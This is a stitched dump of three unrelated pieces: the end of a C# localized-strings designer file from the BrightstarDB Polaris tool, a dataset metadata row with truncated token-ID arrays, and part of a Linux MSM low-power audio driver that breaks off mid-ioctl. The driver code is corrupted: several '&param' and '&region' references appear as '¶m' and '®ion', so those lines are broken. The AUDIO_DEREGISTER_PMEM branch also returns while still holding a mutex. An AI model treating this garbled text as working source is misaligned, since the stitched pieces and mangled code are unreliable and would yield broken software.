return ResourceManager.GetString("ImportLegacyConfigurationMessage", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Import Old Configuration.
/// </summary>
internal static string ImportLegacyConfigurationTitle {
get {
return ResourceManager.GetString("ImportLegacyConfigurationTitle", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to {0} Import.
/// </summary>
internal static string ImportTabDefaultTitle {
get {
return ResourceManager.GetString("ImportTabDefaultTitle", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to An unexpected error prevented the import job from running..
/// </summary>
internal static string ImportUnexpectedErrorMsg {
get {
return ResourceManager.GetString("ImportUnexpectedErrorMsg", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to A Connection specifies how Polaris should connect to a BrightstarDB store. This may be either a direct connection to the directory or (recommended) a connection to a BrightstarDB server.
///
///You currently have no connections defined. Would you like to create a new connection now ?.
/// </summary>
internal static string NoConnectionsMessage {
get {
return ResourceManager.GetString("NoConnectionsMessage", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to No Connections Defined.
/// </summary>
internal static string NoConnectionsTitle {
get {
return ResourceManager.GetString("NoConnectionsTitle", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to An error occurred when parsing the content of the file {0}. Cause: {1}.
/// </summary>
internal static string ParseErrorDescription {
get {
return ResourceManager.GetString("ParseErrorDescription", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Error Parsing RDF File.
/// </summary>
internal static string ParseErrorTitle {
get {
return ResourceManager.GetString("ParseErrorTitle", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to New Query.
/// </summary>
internal static string QueryTabDefaultTitle {
get {
return ResourceManager.GetString("QueryTabDefaultTitle", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to {0} Statistics.
/// </summary>
internal static string StatisticsTabDefaultTitle {
get {
return ResourceManager.GetString("StatisticsTabDefaultTitle", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Failed to create new store. {0}.
/// </summary>
internal static string StoreCreateFailed {
get {
return ResourceManager.GetString("StoreCreateFailed", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Store Creation Failed.
/// </summary>
internal static string StoreCreateFailedTitle {
get {
return ResourceManager.GetString("StoreCreateFailedTitle", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Transaction failed..
/// </summary>
internal static string TransactionFailed {
get {
return ResourceManager.GetString("TransactionFailed", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to The transaction completed successfully..
/// </summary>
internal static string TransactionSuccess {
get {
return ResourceManager.GetString("TransactionSuccess", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to New Transaction.
/// </summary>
internal static string TransactionTabDefaultTitle {
get {
return ResourceManager.GetString("TransactionTabDefaultTitle", resourceCulture);
}
}
}
}
| kentcb/BrightstarDB | src/tools/Polaris/BrightstarDB.Polaris/Strings.Designer.cs | C# | mit | 18,340 | [
30522,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
101... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/* low power audio output device
*
* Copyright (C) 2008 Google, Inc.
* Copyright (C) 2008 HTC Corporation
* Copyright (c) 2009-2011, Code Aurora Forum. All rights reserved.
*
* This software is licensed under the terms of the GNU General Public
* License version 2, as published by the Free Software Foundation, and
* may be copied, distributed, and modified under those terms.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
*/
#include <linux/module.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/miscdevice.h>
#include <linux/mutex.h>
#include <linux/sched.h>
#include <linux/uaccess.h>
#include <linux/kthread.h>
#include <linux/wait.h>
#include <linux/dma-mapping.h>
#include <linux/debugfs.h>
#include <linux/delay.h>
#include <linux/earlysuspend.h>
#include <linux/list.h>
#include <linux/android_pmem.h>
#include <linux/slab.h>
#include <asm/atomic.h>
#include <asm/ioctls.h>
#include <mach/msm_adsp.h>
#include <sound/q6asm.h>
#include <sound/apr_audio.h>
#include "audio_lpa.h"
#include <linux/msm_audio.h>
#include <linux/wakelock.h>
#include <mach/qdsp6v2/audio_dev_ctl.h>
#include <mach/debug_mm.h>
#include <linux/fs.h>
#define MAX_BUF 3
#define BUFSZ (524288)
#define AUDDEC_DEC_PCM 0
#define AUDLPA_EVENT_NUM 10 /* Default number of pre-allocated event packets */
#define __CONTAINS(r, v, l) ({ \
typeof(r) __r = r; \
typeof(v) __v = v; \
typeof(v) __e = __v + l; \
int res = ((__v >= __r->vaddr) && \
(__e <= __r->vaddr + __r->len)); \
res; \
})
#define CONTAINS(r1, r2) ({ \
typeof(r2) __r2 = r2; \
__CONTAINS(r1, __r2->vaddr, __r2->len); \
})
#define IN_RANGE(r, v) ({ \
typeof(r) __r = r; \
typeof(v) __vv = v; \
int res = ((__vv >= __r->vaddr) && \
(__vv < (__r->vaddr + __r->len))); \
res; \
})
#define OVERLAPS(r1, r2) ({ \
typeof(r1) __r1 = r1; \
typeof(r2) __r2 = r2; \
typeof(__r2->vaddr) __v = __r2->vaddr; \
typeof(__v) __e = __v + __r2->len - 1; \
int res = (IN_RANGE(__r1, __v) || IN_RANGE(__r1, __e)); \
res; \
})
struct audlpa_event {
struct list_head list;
int event_type;
union msm_audio_event_payload payload;
};
struct audlpa_pmem_region {
struct list_head list;
struct file *file;
int fd;
void *vaddr;
unsigned long paddr;
unsigned long kvaddr;
unsigned long len;
unsigned ref_cnt;
};
struct audlpa_buffer_node {
struct list_head list;
struct msm_audio_aio_buf buf;
unsigned long paddr;
};
struct audlpa_dec {
char *name;
int dec_attrb;
long (*ioctl)(struct file *, unsigned int, unsigned long);
int (*set_params)(void *);
};
static void audlpa_post_event(struct audio *audio, int type,
union msm_audio_event_payload payload);
static unsigned long audlpa_pmem_fixup(struct audio *audio, void *addr,
unsigned long len, int ref_up);
static void audlpa_async_send_data(struct audio *audio, unsigned needed,
uint32_t token);
static int audlpa_pause(struct audio *audio);
static void audlpa_unmap_pmem_region(struct audio *audio);
static long pcm_ioctl(struct file *file, unsigned int cmd, unsigned long arg);
static int audlpa_set_pcm_params(void *data);
// use msm_set_volume() for stream mute control
// #define LPA_MUTE_CTRL
#ifdef LPA_MUTE_CTRL
static int audlpa_mute;
#endif
struct audlpa_dec audlpa_decs[] = {
{"msm_pcm_lp_dec", AUDDEC_DEC_PCM, &pcm_ioctl,
&audlpa_set_pcm_params},
};
static void lpa_listner(u32 evt_id, union auddev_evt_data *evt_payload,
void *private_data)
{
struct audio *audio = (struct audio *) private_data;
int rc = 0;
switch (evt_id) {
case AUDDEV_EVT_STREAM_VOL_CHG:
#ifdef LPA_MUTE_CTRL
if (evt_payload->session_vol == 0)
{
audlpa_mute = 1;
}
else
{
audlpa_mute = 0;
}
#else
audio->volume = evt_payload->session_vol;
#endif
#ifdef LPA_MUTE_CTRL
pr_info("AUDDEV_EVT_STREAM_VOL_CHG, mute=%d\n", audlpa_mute);
#else
pr_debug("%s: AUDDEV_EVT_STREAM_VOL_CHG, stream vol %d, "
"enabled = %d\n", __func__, audio->volume,
audio->out_enabled);
#endif
if (audio->out_enabled == 1) {
if (audio->ac) {
#ifdef LPA_MUTE_CTRL
if (audlpa_mute == 1) {
rc = q6asm_set_volume(audio->ac, 0);
}
else
{
rc = q6asm_set_volume(audio->ac, audio->volume);
}
#else
rc = q6asm_set_volume(audio->ac, audio->volume);
#endif
if (rc < 0) {
pr_err("%s: Send Volume command failed"
" rc=%d\n", __func__, rc);
}
}
}
break;
default:
pr_err("%s:ERROR:wrong event\n", __func__);
break;
}
}
static void audlpa_prevent_sleep(struct audio *audio)
{
pr_debug("%s:\n", __func__);
wake_lock(&audio->wakelock);
}
static void audlpa_allow_sleep(struct audio *audio)
{
pr_debug("%s:\n", __func__);
wake_lock_timeout(&audio->wakelock, 5 * HZ);
// wake_unlock(&audio->wakelock);
}
/* must be called with audio->lock held */
static int audio_enable(struct audio *audio)
{
pr_debug("%s\n", __func__);
return q6asm_run(audio->ac, 0, 0, 0);
}
static int audlpa_async_flush(struct audio *audio)
{
struct audlpa_buffer_node *buf_node;
struct list_head *ptr, *next;
union msm_audio_event_payload payload;
int rc = 0;
pr_debug("%s:out_enabled = %d, drv_status = 0x%x\n", __func__,
audio->out_enabled, audio->drv_status);
if (audio->out_enabled) {
list_for_each_safe(ptr, next, &audio->out_queue) {
buf_node = list_entry(ptr, struct audlpa_buffer_node,
list);
list_del(&buf_node->list);
payload.aio_buf = buf_node->buf;
audlpa_post_event(audio, AUDIO_EVENT_WRITE_DONE,
payload);
kfree(buf_node);
}
/* Implicitly issue a pause to the decoder before flushing if
it is not in pause state */
if (!(audio->drv_status & ADRV_STATUS_PAUSE)) {
rc = audlpa_pause(audio);
if (rc < 0)
pr_err("%s: pause cmd failed rc=%d\n", __func__,
rc);
}
rc = q6asm_cmd(audio->ac, CMD_FLUSH);
if (rc < 0)
pr_err("%s: flush cmd failed rc=%d\n", __func__, rc);
audio->drv_status &= ~ADRV_STATUS_OBUF_GIVEN;
audio->out_needed = 0;
if (audio->stopped == 0) {
rc = audio_enable(audio);
if (rc < 0)
pr_err("%s: audio enable failed\n", __func__);
else {
audio->out_enabled = 1;
audio->out_needed = 1;
if (audio->drv_status & ADRV_STATUS_PAUSE)
audio->drv_status &= ~ADRV_STATUS_PAUSE;
}
}
wake_up(&audio->write_wait);
}
return rc;
}
/* must be called with audio->lock held */
static int audio_disable(struct audio *audio)
{
int rc = 0;
pr_debug("%s:%d %d\n", __func__, audio->opened, audio->out_enabled);
if (audio->opened) {
audio->out_enabled = 0;
audio->opened = 0;
rc = q6asm_cmd(audio->ac, CMD_CLOSE);
if (rc < 0)
pr_err("%s: CLOSE cmd failed\n", __func__);
else
pr_debug("%s: rxed CLOSE resp\n", __func__);
audio->drv_status &= ~ADRV_STATUS_OBUF_GIVEN;
wake_up(&audio->write_wait);
audio->out_needed = 0;
}
return rc;
}
static int audlpa_pause(struct audio *audio)
{
int rc = 0;
pr_debug("%s, enabled = %d\n", __func__,
audio->out_enabled);
if (audio->out_enabled) {
rc = q6asm_cmd(audio->ac, CMD_PAUSE);
if (rc < 0)
pr_err("%s: pause cmd failed rc=%d\n", __func__, rc);
} else
pr_err("%s: Driver not enabled\n", __func__);
return rc;
}
/* ------------------- dsp --------------------- */
static void audlpa_async_send_data(struct audio *audio, unsigned needed,
uint32_t token)
{
unsigned long flags;
struct audio_client *ac;
int rc = 0;
pr_debug("%s:\n", __func__);
spin_lock_irqsave(&audio->dsp_lock, flags);
pr_debug("%s: needed = %d, out_needed = %d, token = 0x%x\n",
__func__, needed, audio->out_needed, token);
if (needed && !audio->wflush) {
audio->out_needed = 1;
if (audio->drv_status & ADRV_STATUS_OBUF_GIVEN) {
/* pop one node out of queue */
union msm_audio_event_payload evt_payload;
struct audlpa_buffer_node *used_buf;
used_buf = list_first_entry(&audio->out_queue,
struct audlpa_buffer_node, list);
if (token == used_buf->paddr) {
pr_debug("%s, Release: addr: %lx,"
" token = 0x%x\n", __func__,
used_buf->paddr, token);
list_del(&used_buf->list);
evt_payload.aio_buf = used_buf->buf;
audlpa_post_event(audio, AUDIO_EVENT_WRITE_DONE,
evt_payload);
kfree(used_buf);
audio->drv_status &= ~ADRV_STATUS_OBUF_GIVEN;
}
}
}
pr_debug("%s: out_needed = %d, stopped = %d, drv_status = 0x%x\n",
__func__, audio->out_needed, audio->stopped,
audio->drv_status);
if (audio->out_needed && (audio->stopped == 0)) {
struct audlpa_buffer_node *next_buf;
struct audio_aio_write_param param;
if (!list_empty(&audio->out_queue)) {
pr_debug("%s: list not empty\n", __func__);
next_buf = list_first_entry(&audio->out_queue,
struct audlpa_buffer_node, list);
if (next_buf) {
pr_debug("%s: Send: addr: %lx\n", __func__,
next_buf->paddr);
ac = audio->ac;
param.paddr = next_buf->paddr;
param.len = next_buf->buf.data_len;
param.msw_ts = 0;
param.lsw_ts = 0;
/* No time stamp valid */
param.flags = NO_TIMESTAMP;
param.uid = next_buf->paddr;
rc = q6asm_async_write(ac, ¶m);
if (rc < 0)
pr_err("%s:q6asm_async_write failed\n",
__func__);
audio->out_needed = 0;
audio->drv_status |= ADRV_STATUS_OBUF_GIVEN;
}
} else if (list_empty(&audio->out_queue) &&
(audio->drv_status & ADRV_STATUS_FSYNC)) {
pr_debug("%s: list is empty, reached EOS\n", __func__);
wake_up(&audio->write_wait);
}
}
spin_unlock_irqrestore(&audio->dsp_lock, flags);
}
static int audlpa_events_pending(struct audio *audio)
{
int empty;
spin_lock(&audio->event_queue_lock);
empty = !list_empty(&audio->event_queue);
spin_unlock(&audio->event_queue_lock);
return empty || audio->event_abort;
}
static void audlpa_reset_event_queue(struct audio *audio)
{
struct audlpa_event *drv_evt;
struct list_head *ptr, *next;
spin_lock(&audio->event_queue_lock);
list_for_each_safe(ptr, next, &audio->event_queue) {
drv_evt = list_first_entry(&audio->event_queue,
struct audlpa_event, list);
list_del(&drv_evt->list);
kfree(drv_evt);
}
list_for_each_safe(ptr, next, &audio->free_event_queue) {
drv_evt = list_first_entry(&audio->free_event_queue,
struct audlpa_event, list);
list_del(&drv_evt->list);
kfree(drv_evt);
}
spin_unlock(&audio->event_queue_lock);
return;
}
static long audlpa_process_event_req(struct audio *audio, void __user *arg)
{
long rc;
struct msm_audio_event usr_evt;
struct audlpa_event *drv_evt = NULL;
int timeout;
if (copy_from_user(&usr_evt, arg, sizeof(struct msm_audio_event)))
return -EFAULT;
timeout = (int) usr_evt.timeout_ms;
if (timeout > 0) {
rc = wait_event_interruptible_timeout(
audio->event_wait, audlpa_events_pending(audio),
msecs_to_jiffies(timeout));
if (rc == 0)
return -ETIMEDOUT;
} else {
rc = wait_event_interruptible(
audio->event_wait, audlpa_events_pending(audio));
}
if (rc < 0)
return rc;
if (audio->event_abort) {
audio->event_abort = 0;
return -ENODEV;
}
rc = 0;
spin_lock(&audio->event_queue_lock);
if (!list_empty(&audio->event_queue)) {
drv_evt = list_first_entry(&audio->event_queue,
struct audlpa_event, list);
list_del(&drv_evt->list);
}
if (drv_evt) {
usr_evt.event_type = drv_evt->event_type;
usr_evt.event_payload = drv_evt->payload;
list_add_tail(&drv_evt->list, &audio->free_event_queue);
} else
rc = -1;
spin_unlock(&audio->event_queue_lock);
if (drv_evt && (drv_evt->event_type == AUDIO_EVENT_WRITE_DONE ||
drv_evt->event_type == AUDIO_EVENT_READ_DONE)) {
pr_debug("%s: AUDIO_EVENT_WRITE_DONE completing\n", __func__);
mutex_lock(&audio->lock);
audlpa_pmem_fixup(audio, drv_evt->payload.aio_buf.buf_addr,
drv_evt->payload.aio_buf.buf_len, 0);
mutex_unlock(&audio->lock);
}
if (!rc && copy_to_user(arg, &usr_evt, sizeof(usr_evt)))
rc = -EFAULT;
return rc;
}
static int audlpa_pmem_check(struct audio *audio,
void *vaddr, unsigned long len)
{
struct audlpa_pmem_region *region_elt;
struct audlpa_pmem_region t = { .vaddr = vaddr, .len = len };
list_for_each_entry(region_elt, &audio->pmem_region_queue, list) {
if (CONTAINS(region_elt, &t) || CONTAINS(&t, region_elt) ||
OVERLAPS(region_elt, &t)) {
pr_err("%s: region (vaddr %p len %ld)"
" clashes with registered region"
" (vaddr %p paddr %p len %ld)\n",
__func__, vaddr, len,
region_elt->vaddr,
(void *)region_elt->paddr,
region_elt->len);
return -EINVAL;
}
}
return 0;
}
static int audlpa_pmem_add(struct audio *audio,
struct msm_audio_pmem_info *info)
{
unsigned long paddr, kvaddr, len;
struct file *file;
struct audlpa_pmem_region *region;
int rc = -EINVAL;
pr_debug("%s:\n", __func__);
region = kmalloc(sizeof(*region), GFP_KERNEL);
if (!region) {
rc = -ENOMEM;
goto end;
}
if (get_pmem_file(info->fd, &paddr, &kvaddr, &len, &file)) {
kfree(region);
goto end;
}
rc = audlpa_pmem_check(audio, info->vaddr, len);
if (rc < 0) {
put_pmem_file(file);
kfree(region);
goto end;
}
region->vaddr = info->vaddr;
region->fd = info->fd;
region->paddr = paddr;
region->kvaddr = kvaddr;
region->len = len;
region->file = file;
region->ref_cnt = 0;
pr_debug("%s: add region paddr %lx vaddr %p, len %lu\n", __func__,
region->paddr, region->vaddr,
region->len);
list_add_tail(®ion->list, &audio->pmem_region_queue);
rc = q6asm_memory_map(audio->ac, (uint32_t)paddr, IN, (uint32_t)len, 1);
if (rc < 0)
pr_err("%s: memory map failed\n", __func__);
end:
return rc;
}
static int audlpa_pmem_remove(struct audio *audio,
struct msm_audio_pmem_info *info)
{
struct audlpa_pmem_region *region;
struct list_head *ptr, *next;
int rc = -EINVAL;
list_for_each_safe(ptr, next, &audio->pmem_region_queue) {
region = list_entry(ptr, struct audlpa_pmem_region, list);
if ((region != NULL) && (region->fd == info->fd) &&
(region->vaddr == info->vaddr)) {
if (region->ref_cnt) {
pr_debug("%s: region %p in use ref_cnt %d\n",
__func__, region, region->ref_cnt);
break;
}
rc = q6asm_memory_unmap(audio->ac,
(uint32_t)region->paddr,
IN);
if (rc < 0)
pr_err("%s: memory unmap failed\n", __func__);
list_del(®ion->list);
put_pmem_file(region->file);
kfree(region);
rc = 0;
break;
}
}
return rc;
}
static int audlpa_pmem_lookup_vaddr(struct audio *audio, void *addr,
unsigned long len, struct audlpa_pmem_region **region)
{
struct audlpa_pmem_region *region_elt;
int match_count = 0;
*region = NULL;
/* returns physical address or zero */
list_for_each_entry(region_elt, &audio->pmem_region_queue,
list) {
if (addr >= region_elt->vaddr &&
addr < region_elt->vaddr + region_elt->len &&
addr + len <= region_elt->vaddr + region_elt->len) {
/* offset since we could pass vaddr inside a registerd
* pmem buffer
*/
match_count++;
if (!*region)
*region = region_elt;
}
}
if (match_count > 1) {
pr_err("%s: multiple hits for vaddr %p, len %ld\n", __func__,
addr, len);
list_for_each_entry(region_elt,
&audio->pmem_region_queue, list) {
if (addr >= region_elt->vaddr &&
addr < region_elt->vaddr + region_elt->len &&
addr + len <= region_elt->vaddr + region_elt->len)
pr_err("%s: \t%p, %ld --> %p\n", __func__,
region_elt->vaddr, region_elt->len,
(void *)region_elt->paddr);
}
}
return *region ? 0 : -1;
}
unsigned long audlpa_pmem_fixup(struct audio *audio, void *addr,
unsigned long len, int ref_up)
{
struct audlpa_pmem_region *region;
unsigned long paddr;
int ret;
ret = audlpa_pmem_lookup_vaddr(audio, addr, len, ®ion);
if (ret) {
pr_err("%s: lookup (%p, %ld) failed\n", __func__, addr, len);
return 0;
}
if (ref_up)
region->ref_cnt++;
else
region->ref_cnt--;
paddr = region->paddr + (addr - region->vaddr);
return paddr;
}
/* audio -> lock must be held at this point */
static int audlpa_aio_buf_add(struct audio *audio, unsigned dir,
void __user *arg)
{
struct audlpa_buffer_node *buf_node;
buf_node = kmalloc(sizeof(*buf_node), GFP_KERNEL);
if (!buf_node)
return -ENOMEM;
if (copy_from_user(&buf_node->buf, arg, sizeof(buf_node->buf))) {
kfree(buf_node);
return -EFAULT;
}
buf_node->paddr = audlpa_pmem_fixup(
audio, buf_node->buf.buf_addr,
buf_node->buf.buf_len, 1);
if (dir) {
/* write */
if (!buf_node->paddr ||
(buf_node->paddr & 0x1) ||
(buf_node->buf.data_len & 0x1)) {
kfree(buf_node);
return -EINVAL;
}
list_add_tail(&buf_node->list, &audio->out_queue);
pr_debug("%s, Added to list: addr: %lx, length = %d\n",
__func__, buf_node->paddr, buf_node->buf.data_len);
audlpa_async_send_data(audio, 0, 0);
} else {
/* read */
kfree(buf_node);
}
return 0;
}
static int config(struct audio *audio)
{
int rc = 0;
if (!audio->out_prefill) {
if (audio->codec_ops.set_params != NULL) {
rc = audio->codec_ops.set_params(audio);
audio->out_prefill = 1;
}
}
return rc;
}
void q6_audlpa_out_cb(uint32_t opcode, uint32_t token,
uint32_t *payload, void *priv)
{
struct audio *audio = (struct audio *) priv;
switch (opcode) {
case ASM_DATA_EVENT_WRITE_DONE:
pr_debug("%s: ASM_DATA_EVENT_WRITE_DONE, token = 0x%x\n",
__func__, token);
audlpa_async_send_data(audio, 1, token);
break;
case ASM_DATA_EVENT_EOS:
case ASM_DATA_CMDRSP_EOS:
pr_debug("%s: ASM_DATA_CMDRSP_EOS, teos = %d\n", __func__,
audio->teos);
if (audio->teos == 0) {
audio->teos = 1;
wake_up(&audio->write_wait);
}
break;
case ASM_SESSION_CMDRSP_GET_SESSION_TIME:
break;
case RESET_EVENTS:
reset_device();
break;
default:
break;
}
}
static long pcm_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
pr_debug("%s: cmd = %d\n", __func__, cmd);
return -EINVAL;
}
static int audlpa_set_pcm_params(void *data)
{
struct audio *audio = (struct audio *)data;
int rc;
rc = q6asm_media_format_block_pcm(audio->ac, audio->out_sample_rate,
audio->out_channel_mode);
if (rc < 0)
pr_err("%s: Format block pcm failed\n", __func__);
return rc;
}
static long audio_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
struct audio *audio = file->private_data;
int rc = -EINVAL;
uint64_t timestamp;
uint64_t temp;
pr_debug("%s: audio_ioctl() cmd = %d\n", __func__, cmd);
if (cmd == AUDIO_GET_STATS) {
struct msm_audio_stats stats;
pr_debug("%s: AUDIO_GET_STATS cmd\n", __func__);
memset(&stats, 0, sizeof(stats));
timestamp = q6asm_get_session_time(audio->ac);
if (timestamp < 0) {
pr_err("%s: Get Session Time return value =%lld\n",
__func__, timestamp);
return -EAGAIN;
}
temp = (timestamp * 2 * audio->out_channel_mode);
temp = temp * (audio->out_sample_rate/1000);
temp = div_u64(temp, 1000);
audio->bytes_consumed = (uint32_t)(temp & 0xFFFFFFFF);
stats.byte_count = audio->bytes_consumed;
stats.unused[0] = (uint32_t)((temp >> 32) & 0xFFFFFFFF);
pr_debug("%s: bytes_consumed:lsb = %d, msb = %d,"
"timestamp = %lld\n", __func__,
audio->bytes_consumed, stats.unused[0], timestamp);
if (copy_to_user((void *) arg, &stats, sizeof(stats)))
return -EFAULT;
return 0;
}
switch (cmd) {
case AUDIO_ENABLE_AUDPP:
break;
case AUDIO_SET_VOLUME:
pr_debug("AUDIO_SET_VOLUME %d, audio->volume=%d", arg, audio->volume);
//pr_info("AUDIO_SET_VOLUME %d, audio->volume=%d, mute=%d", (int)arg, audio->volume, audlpa_mute);
#ifdef LPA_MUTE_CTRL
audio->volume = arg;
#endif
if (audio->out_enabled)
{
#ifdef LPA_MUTE_CTRL
if (!audlpa_mute)
{
rc = q6asm_set_volume(audio->ac, arg);
}
else
{
rc = 0;
}
#else
rc = q6asm_set_volume(audio->ac, arg);
#endif
if (rc < 0) {
pr_err("%s: Send Volume command failed"
" rc=%d\n", __func__, rc);
}
}
break;
case AUDIO_SET_PAN:
break;
case AUDIO_SET_EQ:
break;
}
if (cmd == AUDIO_GET_EVENT) {
pr_debug("%s: AUDIO_GET_EVENT\n", __func__);
if (mutex_trylock(&audio->get_event_lock)) {
rc = audlpa_process_event_req(audio,
(void __user *) arg);
mutex_unlock(&audio->get_event_lock);
} else
rc = -EBUSY;
return rc;
}
if (cmd == AUDIO_ABORT_GET_EVENT) {
audio->event_abort = 1;
wake_up(&audio->event_wait);
return 0;
}
mutex_lock(&audio->lock);
switch (cmd) {
case AUDIO_START:
pr_info("%s: AUDIO_START: Session %d\n", __func__,
audio->ac->session);
if (!audio->opened) {
pr_err("%s: Driver not opened\n", __func__);
rc = -EFAULT;
goto fail;
}
rc = config(audio);
if (rc) {
pr_err("%s: Out Configuration failed\n", __func__);
rc = -EFAULT;
goto fail;
}
rc = audio_enable(audio);
if (rc) {
pr_err("%s: audio enable failed\n", __func__);
rc = -EFAULT;
goto fail;
} else {
struct asm_softpause_params softpause = {
//.enable = SOFT_PAUSE_ENABLE,
.enable = SOFT_PAUSE_DISABLE, // disable this feature (not supported yet)
.period = SOFT_PAUSE_PERIOD,
.step = SOFT_PAUSE_STEP,
.rampingcurve = SOFT_PAUSE_CURVE_LINEAR,
};
struct asm_softvolume_params softvol = {
.period = SOFT_VOLUME_PERIOD,
.step = SOFT_VOLUME_STEP,
.rampingcurve = SOFT_VOLUME_CURVE_LINEAR,
};
audio->out_enabled = 1;
audio->out_needed = 1;
rc = q6asm_set_volume(audio->ac, audio->volume);
if (rc < 0)
pr_err("%s: Send Volume command failed rc=%d\n",
__func__, rc);
rc = q6asm_set_softpause(audio->ac, &softpause);
if (rc < 0)
pr_err("%s: Send SoftPause Param failed rc=%d\n",
__func__, rc);
rc = q6asm_set_softvolume(audio->ac, &softvol);
if (rc < 0)
pr_err("%s: Send SoftVolume Param failed rc=%d\n",
__func__, rc);
rc = q6asm_set_lrgain(audio->ac, 0x2000, 0x2000);
if (rc < 0)
pr_err("%s: Send channel gain failed rc=%d\n",
__func__, rc);
/* disable mute by default */
rc = q6asm_set_mute(audio->ac, 0);
if (rc < 0)
pr_err("%s: Send mute command failed rc=%d\n",
__func__, rc);
if (!list_empty(&audio->out_queue))
pr_err("%s: write_list is not empty!!!\n",
__func__);
if (audio->stopped == 1)
audio->stopped = 0;
audlpa_prevent_sleep(audio);
#ifdef LPA_MUTE_CTRL
audlpa_mute = 0;
#endif
}
break;
case AUDIO_STOP:
pr_info("%s: AUDIO_STOP: session_id:%d\n", __func__,
audio->ac->session);
audio->stopped = 1;
rc = audlpa_async_flush(audio);
if (rc < 0)
pr_err("%s: Send flush command failed (in stop) rc=%d\n",__func__, rc);
audio->out_enabled = 0;
audio->out_needed = 0;
audio->drv_status &= ~ADRV_STATUS_PAUSE;
audlpa_allow_sleep(audio);
break;
case AUDIO_FLUSH:
pr_debug("%s: AUDIO_FLUSH: session_id:%d\n", __func__,
audio->ac->session);
audio->wflush = 1;
if (audio->out_enabled) {
rc = audlpa_async_flush(audio);
if (rc < 0)
pr_err("%s: Send flush command failed rc=%d\n",__func__, rc);
}
else {
audio->wflush = 0;
rc = 0;
}
audio->wflush = 0;
break;
case AUDIO_SET_CONFIG:{
struct msm_audio_config config;
pr_debug("%s: AUDIO_SET_CONFIG\n", __func__);
if (copy_from_user(&config, (void *) arg, sizeof(config))) {
rc = -EFAULT;
pr_err("%s: ERROR: copy from user\n", __func__);
break;
}
if (!((config.channel_count == 1) ||
(config.channel_count == 2))) {
rc = -EINVAL;
pr_err("%s: ERROR: config.channel_count == %d\n",
__func__, config.channel_count);
break;
}
if (!((config.bits == 8) || (config.bits == 16) ||
(config.bits == 24))) {
rc = -EINVAL;
pr_err("%s: ERROR: config.bits = %d\n", __func__,
config.bits);
break;
}
audio->out_sample_rate = config.sample_rate;
audio->out_channel_mode = config.channel_count;
audio->out_bits = config.bits;
audio->buffer_count = config.buffer_count;
audio->buffer_size = config.buffer_size;
rc = 0;
break;
}
case AUDIO_GET_CONFIG:{
struct msm_audio_config config;
config.buffer_count = audio->buffer_count;
config.buffer_size = audio->buffer_size;
config.sample_rate = audio->out_sample_rate;
config.channel_count = audio->out_channel_mode;
config.bits = audio->out_bits;
config.meta_field = 0;
config.unused[0] = 0;
config.unused[1] = 0;
config.unused[2] = 0;
if (copy_to_user((void *) arg, &config, sizeof(config)))
rc = -EFAULT;
else
rc = 0;
break;
}
case AUDIO_PAUSE:
pr_debug("%s: AUDIO_PAUSE %ld\n", __func__, arg);
if (arg == 1) {
rc = audlpa_pause(audio);
if (rc < 0)
pr_err("%s: pause FAILED rc=%d\n", __func__,
rc);
audio->drv_status |= ADRV_STATUS_PAUSE;
} else if (arg == 0) {
if (audio->drv_status & ADRV_STATUS_PAUSE) {
rc = audio_enable(audio);
if (rc)
pr_err("%s: audio enable failed\n",
__func__);
else {
audio->drv_status &= ~ADRV_STATUS_PAUSE;
audio->out_enabled = 1;
}
}
}
break;
case AUDIO_REGISTER_PMEM: {
struct msm_audio_pmem_info info;
pr_debug("%s: AUDIO_REGISTER_PMEM\n", __func__);
if (copy_from_user(&info, (void *) arg, sizeof(info)))
rc = -EFAULT;
else
rc = audlpa_pmem_add(audio, &info);
break;
}
case AUDIO_DEREGISTER_PMEM: {
struct msm_audio_pmem_info info;
pr_debug("%s: AUDIO_DEREGISTER_PMEM\n", __func__);
if(arg==NULL)
return -1;
if (copy_from_user(&info, (void *) arg, sizeof(info)))
rc = -EFAULT;
else
rc = audlpa_pmem_remove(audio, &info);
break;
}
case AUDIO_ASYNC_WRITE:
pr_debug("%s: AUDIO_ASYNC_WRITE\n", __func__);
